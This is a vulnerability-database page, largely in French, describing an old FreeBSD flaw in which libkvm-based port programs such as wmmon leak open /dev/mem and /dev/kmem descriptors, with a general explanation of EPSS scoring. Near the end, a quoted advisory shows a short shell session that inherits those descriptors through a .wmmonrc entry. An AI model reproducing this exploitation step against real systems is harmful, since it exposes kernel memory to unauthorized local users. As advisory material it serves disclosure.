Descriptions du CVE

FreeBSD port programs that use libkvm for FreeBSD 4.6.2-RELEASE and earlier, including (1) asmon, (2) ascpu, (3) bubblemon, (4) wmmon, and (5) wmnet2, leave open file descriptors for /dev/mem and /dev/kmem, which allows local users to read kernel memory.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/5718/info It has been reported that wmmon is vulnerable to a leakage of open file descriptors that may result in unauthorized disclosure of kernel memory. It is allegedly possible for attackers to inherit the open file descriptors for /dev/mem and /dev/kmem by executing a malicious program through wmmon. The program that is executed can be specified by the attacker at the command line. bash-2.05a$ cat .wmmonrc left "/home/dim/dummy" bash-2.05a$ wmmon & [1] 793 bash-2.05a$ Monitoring 5 devices for activity. current stat is :1 bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem
